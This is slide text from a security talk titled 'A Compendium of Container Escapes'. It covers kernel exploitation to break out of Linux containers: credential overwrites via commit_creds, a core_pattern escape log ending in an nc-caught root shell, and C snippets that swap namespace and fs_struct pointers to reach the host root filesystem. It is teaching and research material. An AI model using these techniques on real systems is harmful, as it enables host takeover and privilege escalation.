PID 1337

Container

PID 55551

Hosty McHostTas

kWhat time()

isit?

Page 97: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

kWhat time()

isit?

IT’SPARTY

TIME

Page 98: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Kernel Exploitation

Let’s talk about some common goals and patterns

Page 99: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 100: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Page 101: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

These two are up to something

Page 102: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Page 103: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Step 1: Memory layout, state grooming, etc.

Page 104: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Step 2: TriggerBug

Page 105: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Step 3: ROP to disableSMEP/SMAP

Page 106: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Step 4: Return to userland

Page 107: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Userspace

Kernel

Step 5: commit_creds(\

prepare_creds(0));

Page 108: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 109: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

kuid_t euid

kuid_t gid

…lots of fields...

…lots of fields...

cred

kuid_t egid

kernel_cap_t cap_effective

kuid_t uid

kernel_cap_t cap_inheritable

void *security

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

...some more fields...

...many more fields...

user_namespace *user_ns

Page 110: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Revised Container Security Model

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

nsproxy

Credentials

User NS

cgroups

Page 111: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Textbook commit_creds()payload

Assuming a new user namespace hasn’t been set, this opens up escapes similar to --privileged

Escape becomes trivial via usermode helpers ;)

Page 112: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

core_pattern escape

user@85c050f5:/$ ./privesc

root@85c050f5:/# mkdir /newproc

root@85c050f5:/# mount -t proc proc /newproc

root@85c050f5:/# cd /newproc/sys/kernel

root@85c050f5:/# echo “|$overlay/shell.sh” > core_pattern

root@85c050f5:/# sleep 5 && ./crash &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 113: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

core_pattern escape

user@85c050f5:/$ ./privesc

root@85c050f5:/# mkdir /newproc

root@85c050f5:/# mount -t proc proc /newproc

root@85c050f5:/# cd /newproc/sys/kernel

root@85c050f5:/# echo “|$overlay/shell.sh” > core_pattern

root@85c050f5:/# sleep 5 && ./crash &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 114: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Kernel Exploitation

But what if they do employ user namespaces?

Page 115: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Getting true init

PID 1

Container

task = (char *)get_task();

while (pid != 1) {

task = *(char **)(task + PARENT_OFFSET);

pid = *(uint32_t *)(task + PID_OFFSET);

}

Page 116: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Getting true init

PID 1

Container

task = (char *)get_task();

while (pid != 1) {

task = *(char **)(task + PARENT_OFFSET);

pid = *(uint32_t *)(task + PID_OFFSET);

}

Page 117: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Getting true init

PID 1

Container

task = (char *)get_task();

while (pid != 1) {

task = *(char **)(task + PARENT_OFFSET);

pid = *(uint32_t *)(task + PID_OFFSET);

}

Page 118: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

mnt_namespace *mnt_ns

net *net_ns

atomic_t count

nsproxy

pid_namespace *pid_ns_for_children

uts_namespace *uts_ns

cgroup_namespace *cgroup_ns

ipc_namespace *ipc_ns

Page 119: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

Container

PID "1"

Page 120: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

Escaping with namespaces

Container

PID "1"

Page 121: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd

int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,

"/proc/1/ns/mnt",

O_RDONLY,

0);

Container

PID "1"

Page 122: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Escaping with namespaces// copy INIT_NSPROXY to the in-container "init"

((_switch_task_ns)(SWITCH_TASK_NS))((void *)cntnr_init,

(void *)INIT_NSPROXY);

// grab in-container init's mnt NS fd

int fd = ((_do_sys_open)(DO_SYS_OPEN))(AT_FDCWD,

"/proc/1/ns/mnt",

O_RDONLY,

0);

// call setns() on it, giving our a better mount

((_sys_setns)(SYS_SETNS))(fd, 0);

Container

PID "1"

Page 123: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

OR...

Page 124: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

int umask

seqcount_t seq

int users

fs_struct

int in_exec

spinlock_t lock

struct path pwd

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

char comm[TASK_COMM_LEN]

...many more fields...

struct path root

Page 125: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Swapping out fs_struct// just copy init's fs_struct

*(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(

*(uint64_t *)(init + TASK_FS_OFFSET));

user@85c050f5:/tmp$ ./escape

// now that we have the root fs, we have free reign

root@85c050f5:/tmp# docker run -it --privileged --pid host -v /:/hostroot ubuntu

root@b33dac42:/# chroot /hostroot

# :)

Page 126: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Takeaways

Page 127: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Lack of uniformity in container ecosystemcomplicates meaningful security metrics

Page 128: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Namespaces are hard(ref: CVE-2018-18955)

Page 129: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CVE-2019-5736 was awesome,but any decent kernel bug is a portal gun .

Page 130: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID
Page 131: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

References

Spender was escaping before containers were containers, checkout the work:https://www.grsecurity.net/~spender/exploits/

Abusing Privileged and Unprivileged Linux Containers, by Jesse Hertz, NCC Grouphttps://www.nccgroup.trust/globalassets/our-

research/us/whitepapers/2016/june/container_whitepaper.pdf

Docker Escape Technology, Shengping Wang, Qihoo 360 Marvel Teamhttps://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf

An Exercise in Practical Container Escapology, Nick Freeman, Capsule8https://capsule8.com/blog/practical-container-escape-exercise/

Page 132: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Thank you

Brandon Edwards

@drraid

[email protected]

Nick Freeman

@0x7674

[email protected]